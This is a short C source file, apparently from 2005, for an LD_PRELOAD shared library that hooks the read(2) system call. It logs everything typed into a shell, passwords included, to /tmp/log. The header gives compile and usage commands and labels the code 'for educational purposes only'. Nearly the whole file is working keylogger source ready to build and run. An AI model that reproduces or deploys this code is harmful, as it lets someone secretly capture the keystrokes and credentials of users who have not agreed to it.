/*
 * dirty shared hijacking read(2) :-)
 *
 * COMPILE
 * gcc -Wall -ldl -lc -fPIC -shared -o myread.so myread.c
 *
 * SUMMARY
 * the main idea is logging all what you type, 
 * capturing syscall read(2) with ld.so(8)
 *
 * USE
 * $ LD_PRELOAD=./myread.so bash
 *
 * DISCLAIMER
 * for educational purposes only
 *
 * AUTHOR
 * Alejandro Gramajo ( agramajo at gmail dot com )
 * 20050212
 *
 */

#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <ctype.h>

#define REAL_LIBC	((void *) -1L)
#define FILELOG 	"/tmp/log"

void logger (char *buf, size_t blen)
{
	FILE *log1 = NULL;

	if (blen == 1) {
		log1 = fopen(FILELOG,"a");
		setbuffer(log1, NULL, 0);

		if ( buf[0] >= 0x20 && buf[0] <= 0x7E )      // printable
			fwrite(buf, blen, 1, log1);
		else if ( buf[0] == 0x7F || buf[0] == 0x08 ) // BS DEL
			fprintf(log1, "[BS]");
		else if ( buf[0] == 0x0A )                   // \n
			fwrite(buf, 1, 1, log1);
		else if ( buf[0] == 0x0D ) {                 // \r
			fwrite(buf, 1, 1, log1);
			fprintf(log1, "\n");
		} 

		fflush(log1);
		fclose(log1);
	}
}

ssize_t read(int fd, void *buf, size_t count) 
{
	ssize_t (*o_read) (int, void *, size_t);
	int r;

	o_read = dlsym(REAL_LIBC, "read");
	
	r = o_read(fd, buf, count);

	if (r > 0) 
		// 0 == stdin
		// 4 == tty
		if (fd == 4 || fd == 0) 
			logger(buf, count);

	return r;
}